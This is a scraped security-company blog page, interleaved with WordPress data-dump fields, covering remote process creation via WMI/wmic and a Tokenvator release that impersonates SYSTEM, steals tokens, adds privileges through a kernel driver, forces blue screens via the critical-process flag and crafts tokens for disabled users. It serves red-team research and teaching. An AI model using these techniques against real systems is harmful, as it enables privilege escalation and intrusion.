Wscript.Echo "Process Id = " & intProcessID
Wscript.Echo "ReturnValue = " & Error
C:> cscript.exe wmi.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.
Process Id = 14040
ReturnValue = 0
wmic.exe (2001)
With Windows XP / 2003, Microsoft began shipping wmic.exe with the OS. wmic is a command line interface for use with WMI. WMIC can be run in an interactive mode or via one liners. People in the offensive security field might be familiar with the one liner command:
wmic.exe process call create "cmd.exe /c echo 'netspi' > C:text.txt"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 910124;
ReturnValue = 0;
};
Breaking this command down, the Win32_Process (process) class is being invoked, while calling (call) and the create (create) method. The command cmd.exe /c echo 'netspi' > C:text.txt is being supplied as an argument to the create method and will be run.
PowerShell Version 1+ (2006)
With Windows XP / 2003 / Vista / 2008, PowerShell started being introduced. With PowerShell 1.0, several WMI commands were introduced. For now, we are going to focus on just two of them: Get-WmiObject and Invoke-WmiMethod. Get-WmiObject is used to access class properties (read things) and Invoke-WmiMethod is used to invoke the methods (change things).
The previous command could have been replaced with:
In this command, we largely follow the procedure that was used in wmic to access the Win32_Process class to invoke the create method. One important note for this command is that with Invoke-WmiMethod the argument are positional parameters.
PowerShell Version 3+ (2012)
In PowerShell Version 3, CIM commands were introduced that even further simplified the use of WMI/CIM, and introduced the concept of reusable CIM sessions and named arguments.
In the next blog, we will cover the basics of using WMI, how to discover useful classes, and how commands can be remotely run.
[post_title] => Getting Started with WMI Weaponization - Part 1
[post_excerpt] => Windows Management Instrumentation (WMI) is a Microsoft management protocol derived from the Web-Based Enterprise Management (WBEM) protocol. WMI is a web service that can perform management operations on the host operating system. It has also been a part of Windows since Windows 95 where it was available as an optional feature.
[post_status] => publish
[comment_status] => closed
[ping_status] => closed
[post_password] =>
[post_name] => getting-started-wmi-weaponization-part-1
[to_ping] =>
[pinged] =>
[post_modified] => 2021-06-08 21:48:23
[post_modified_gmt] => 2021-06-08 21:48:23
[post_content_filtered] =>
[post_parent] => 0
[guid] => https://netspiblogdev.wpengine.com/?p=7076
[menu_order] => 579
[post_type] => post
[post_mime_type] =>
[comment_count] => 0
[filter] => raw
)
)
[post_count] => 14
[current_post] => -1
[before_loop] => 1
[in_the_loop] =>
[post] => WP_Post Object
(
[ID] => 25940
[post_author] => 34
[post_date] => 2021-07-22 07:00:00
[post_date_gmt] => 2021-07-22 12:00:00
[post_content] =>
Tokenvator Release 3 is a long overdue update that includes a major overhaul to the tool. From the user interface, it will be mostly familiar with some command line tweaks. Under the surface, large portions of the code base have been reworked, and parts of the base have had some updates. In this series, we will go over some of the changes and new features added. Teaser Alert: Adding Privileges & Creating Tokens
Improvements
First and foremost, the user interface. Historically, every action had a series of positional arguments that were clunky and generally difficult to remember. They were also not very flexible, and as the commands started to have more, and additional optional arguments, they became completely unwieldy. These have been replaced with flags that will auto complete.
For instance, to list and enable privileges:
This also works in the non-interactive mode (though it won’t tab complete – sorry, it’s Windows):
Additionally, the scroll back function was improved and numerous bugs were resolved. For instance, now when you press up you will always go to the last command issued. A printable command history has also been added if you want to copy and paste instead or keep a log of your actions.
The info functionality was improved again, removing many bugs and adding additional information, such as impersonation contexts:
(Tokens) > whoami
[*] Operating as NT AUTHORITY\SYSTEM
(Tokens) > info
[*] Primary Token
[+] User:
S-1-5-21-258464558-1780981397-2849438727-1001 DESKTOP-J5KC1AR\0xbadjuju
[*] Impersonation Tokens
[*] Primary Token Groups
[+] Enumerated 15 Groups:
S-1-5-21-258464558-1780981397-2849438727-513 DESKTOP-J5KC1AR\None
S-1-1-0 Everyone
S-1-5-114 NT AUTHORITY\Local account and member of Administrators group
S-1-5-32-544 BUILTIN\Administrators
S-1-5-32-559 BUILTIN\Performance Log Users
S-1-5-32-545 BUILTIN\Users
S-1-5-4 NT AUTHORITY\INTERACTIVE
S-1-2-1 CONSOLE LOGON
S-1-5-11 NT AUTHORITY\Authenticated Users
S-1-5-15 NT AUTHORITY\This Organization
S-1-5-113 NT AUTHORITY\Local account
S-1-5-5-0-870189 Some or all identity references could not be translated.
S-1-2-0 LOCAL
S-1-5-64-10 NT AUTHORITY\NTLM Authentication
S-1-16-12288 Some or all identity references could not be translated.
Now, you have the option to get additional information by using the /all flag.
(Tokens) > info /all
Option Value
------ -----
all
[*] Primary Token
[+] User:
S-1-5-21-258464558-1780981397-2849438727-1001 DESKTOP-J5KC1AR\0xbadjuju
[*] Impersonation Tokens
[*] Thread ID: 5820
[+] User:
S-1-5-18 NT AUTHORITY\SYSTEM
[*] Thread ID: 1120
[*] Thread ID: 7108
[*] Thread ID: 9180
[*] Thread ID: 1152
[*] Thread ID: 8592
[*] Thread ID: 8076
[*] Primary Token Groups
[+] Enumerated 15 Groups:
S-1-5-21-258464558-1780981397-2849438727-513 DESKTOP-J5KC1AR\None
S-1-1-0 Everyone
S-1-5-114 NT AUTHORITY\Local account and member of Administrators group
S-1-5-32-544 BUILTIN\Administrators
S-1-5-32-559 BUILTIN\Performance Log Users
S-1-5-32-545 BUILTIN\Users
S-1-5-4 NT AUTHORITY\INTERACTIVE
S-1-2-1 CONSOLE LOGON
S-1-5-11 NT AUTHORITY\Authenticated Users
S-1-5-15 NT AUTHORITY\This Organization
S-1-5-113 NT AUTHORITY\Local account
S-1-5-5-0-870189 Some or all identity references could not be translated.
S-1-2-0 LOCAL
S-1-5-64-10 NT AUTHORITY\NTLM Authentication
S-1-16-12288 Some or all identity references could not be translated.
[+] Source: User32
[*] Enumerating Token Privileges
[*] GetTokenInformation - Pass 1
[*] GetTokenInformation - Pass 2
[+] Enumerated 24 Privileges
Privilege Name Enabled
-------------- -------
SeIncreaseQuotaPrivilege False
SeSecurityPrivilege False
SeTakeOwnershipPrivilege False
SeLoadDriverPrivilege False
SeSystemProfilePrivilege False
SeSystemtimePrivilege False
SeProfileSingleProcessPrivilege False
SeIncreaseBasePriorityPrivilege False
SeCreatePagefilePrivilege False
SeBackupPrivilege False
SeRestorePrivilege False
SeShutdownPrivilege False
SeDebugPrivilege True
SeSystemEnvironmentPrivilege False
SeChangeNotifyPrivilege True
SeRemoteShutdownPrivilege False
SeUndockPrivilege False
SeManageVolumePrivilege False
SeImpersonatePrivilege True
SeCreateGlobalPrivilege True
SeIncreaseWorkingSetPrivilege False
SeTimeZonePrivilege False
SeCreateSymbolicLinkPrivilege False
SeDelegateSessionUserImpersonatePrivilege False
[+] Owner:
S-1-5-32-544 BUILTIN\Administrators
[+] Primary Group:
S-1-5-21-258464558-1780981397-2849438727-513 DESKTOP-J5KC1AR\None
[+] ACL Count: 572
[+] Primary Token
[+] TokenElevationTypeFull
[*] Token: Split
[+] ProcessIntegrity: High
Impersonation Tokens
Previously, I had glossed over Impersonation (Thread) Tokens in the Tokenvator tool. When you impersonate a token, it doesn’t replace your primary token in your process. What it does is place the token in the calling thread. In this tool, this is typically the primary thread. Going forward, I will use Thread Token and Impersonation Token interchangeably.
In the following example, we show the privileges on our primary token (List_Privileges), impersonate the SYSTEM account (GetSystem), list the privileges on our primary token again to show it hasn’t been altered (List_Privileges), and finally list the privileges for the SYSTEM token we are impersonating (List_Privileges /Impersonation).
In this second, more complex example, we show:
The privileges on our primary token (List_Privileges)
Impersonate the SYSTEM account (GetSystem)
List the privileges for the SYSTEM token we are impersonating (List_Privileges /Impersonation)
We then:
Disable the SeAssignPrimaryTokenPrivilege on the Thread Token for SYSTEM (Disable_Privilege /Privilege:SeAssignPrimaryTokenPrivilege /Impersonation)
List the thread token privileges again (List_Privileges /Impersonation)
Re-enable the privilege on the token (Enable_Privilege /Privilege:SeAssignPrimaryTokenPrivilege /Impersonation)
List the privileges one last time (List_Privileges /Impersonation) to show that it has been reenabled
This could all be done against a remote process as well by passing /ProcessID:<ID> flag.
Similarly, Thread Tokens can be impersonated with the Steal_Token command by specifying the /Thread Flag.
Now for the Cool Stuff
The number one request I’ve gotten has been, “Can I add a privilege with this tool?” Until now, that issue has been open on GitHub. I can happily say, I can finally close this issue.
Like Morpheus said, some of these rules can be bent others can be broken. To change the privileges on the token, I’ve historically used advapi32!AdjustTokenPrivileges. This allows for privileges to be enabled, disabled, or removed. As far as I’ve been able to tell, this does not allow for adding privileges onto a token. But because that doesn’t work, it doesn’t mean that there are no other options. It’s time to enter the world of the kernel.
As expansive as Microsoft Developer Network (MSDN) is, it is not all-encompassing. There are things that are intentionally not documented as they are not intended to be used. Among these is the EPROCESS structure.
Part of this is that this structure can change without notice from Microsoft. I can personally confirm that this happened. While it may be difficult to track down the layout of this structure online, we can easily view it with WinDbg. Using the dt command in WinDbg we can view each instance of it.
Exploring with windbg
Let’s look at the process structure of an elevated Tokenvator instance:
It’s running with process ID of 8140, converted to hex it is 1FCC.
Examining that process shows:
The line we are looking for is:
PROCESS ffff9a890b963080
The EPROCESS structure can be found at is at address ffff9a890b963080. Querying for the EPROCESS structure:
It’s mostly truncated here, but it’s big. Really big. Excluding the KPROCESS structure which takes up the address 0x000 – 0x438 it has 238 entries.
But in this structure, there is a field called Token which references the _EX_FAST_REF structure.
Querying the _EX_FAST_REF structure for the Token field shows the following.
If we were query that address for a _TOKEN structure it wouldn’t work but looking the verbose process information with the command.
I didn’t immediately realize why the addresses were different. Fortunately, the ired.team was able to provide a useful insight:. they realized a bitwise AND (&) would correct the address.
Querying that address for the token we see a structure where the privileges are stored.
Querying that field reveals a structure that contains the present field where a bitwise or for each privilege can detect if it is present.
AND’ing that field can allow us to put privileges back on the token.
Pulling it All Together
We’ve found what needs to be changed in the kernel, so how do we do that? Well, that involves creating a kernel mode driver that can interact with kernel memory. Introducing: the KernelTokens driver.
This introduces several additional commands:
install_driver
start_driver
uninstall_driver
add_privilege
freeze_token
unfreeze_token
First, we need to install the driver. The default name is TokenDriver.
Now, let’s look at the existing privileges on the Tokens:
In this instance we see at the start there are 24 privileges. Let’s add two privileges SeTcbPrivilege and SeCreateTokenPrivilege. First, we run the command Add_Privilege /Privilege:SeTcbPrivilege. This connects to the driver and updates the bitfield in memory. Running List_Privileges again we see SeTcbPrivilege is now on the token. Running the Add_Privilege /Privilege:SeCreateTokenPrivilege command again allows us to add this privilege as well. As can be seen during the final List_Privileges command, 26 privileges are now present on the token including SeTcbPrivilege and SeCreateTokenPrivilege.
Causing Some Shenanigans
Critical Processes are a fun flag that can be added to a process to indicate that it is critical to the system functionality. This can be used to force a system to blue screen, or in some cases prevented the process from being killed.
When it does, well…
Becoming Someone Else:
One of the interesting things that I always wanted to add was the ability to become another user on the system without having to steal their token from a running process. There are several ways to accomplish this with increasing levels of difficulty:
RunAs
Logon_User
Create_Token
Each one of these methods calls a different API.
RunAs
The RunAs is almost identical to the RunAs /netonly command. Under the surface this is just calling CreateProcessWithLogonW.
Logon_User
Logon_User is a little more complex, depending on the options provided it is either calling LogonUser or LogonUserExExW (no, not a typo) and then uses the newly created token to call CreateProcessWithTokenW.
Using this we can become any user we have credentials for as well as local service accounts such as Network Service or Local Service.
Create_Token
Lastly, the final technique for this part of the post is create_token. Under the surface this calls ntdll!CreateToken – this is a bit of a bear. This manually crafts the token from scratch and then calls CreateProcessWithTokenW.
As can be seen above, with this we can become disabled users and ephemerally add them to groups by adding the group onto the token at creation time.
Necessary cookies help make a website usable by enabling basic functions like page navigation and access to secure areas of the website. The website cannot function properly without these cookies.
Name
Domain
Purpose
Expiry
Type
YSC
youtube.com
YouTube session cookie.
52 years
HTTP
Marketing cookies are used to track visitors across websites. The intention is to display ads that are relevant and engaging for the individual user and thereby more valuable for publishers and third party advertisers.
Name
Domain
Purpose
Expiry
Type
VISITOR_INFO1_LIVE
youtube.com
YouTube cookie.
6 months
HTTP
Analytics cookies help website owners to understand how visitors interact with websites by collecting and reporting information anonymously.
We do not use cookies of this type.
Preference cookies enable a website to remember information that changes the way the website behaves or looks, like your preferred language or the region that you are in.
We do not use cookies of this type.
Unclassified cookies are cookies that we are in the process of classifying, together with the providers of individual cookies.
We do not use cookies of this type.
Cookies are small text files that can be used by websites to make a user's experience more efficient. The law states that we can store cookies on your device if they are strictly necessary for the operation of this site. For all other types of cookies we need your permission. This site uses different types of cookies. Some cookies are placed by third party services that appear on our pages.
Cookie Settings
Discover why security operations teams choose NetSPI.